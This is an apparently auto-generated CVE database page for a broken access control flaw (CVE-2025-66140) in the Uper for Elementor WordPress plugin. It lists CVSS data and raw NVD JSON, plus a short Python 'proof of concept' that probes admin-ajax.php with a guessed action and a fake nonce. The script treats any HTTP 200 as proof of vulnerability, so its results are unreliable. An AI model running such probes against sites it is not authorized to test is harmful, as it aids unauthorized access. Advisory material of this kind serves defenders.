Security Vulnerability Report
中文
CVE-2025-66140 CVSS 5.4 MEDIUM

CVE-2025-66140

Published: 2026-01-22 17:16:01
Last Modified: 2026-04-15 00:35:42

Description

Missing Authorization vulnerability in merkulove Uper for Elementor uper-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Uper for Elementor: from n/a through <= 1.0.5.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Uper for Elementor <= 1.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-66140 PoC - Missing Authorization in Uper for Elementor # Target: WordPress site with Uper for Elementor plugin <= 1.0.5 def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-66140 """ # Setup session with low-privileged user cookie session = requests.Session() # Test unauthorized access to plugin functions # The vulnerability allows low-privileged users to access admin functions endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-json/wp/v2/uper-elementor" ] for endpoint in endpoints: try: # Try to access admin functionality without proper authorization data = { 'action': 'uper_elementor_ajax_action', 'nonce': 'fake_nonce_for_testing' } response = session.post(endpoint, data=data, timeout=10) # If response indicates access granted without proper auth if response.status_code == 200: print(f"[+] Potential vulnerability at: {endpoint}") print(f"[+] Response: {response.text[:200]}") except Exception as e: print(f"[-] Error testing {endpoint}: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python poc.py http://target.com")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66140", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:00.957", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Uper for Elementor uper-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Uper for Elementor: from n/a through <= 1.0.5."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en merkulove Uper para Elementor uper-elementor permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Uper para Elementor: desde n/a hasta &lt;= 1.0.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/uper-elementor/vulnerability/wordpress-uper-for-elementor-plugin-1-0-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}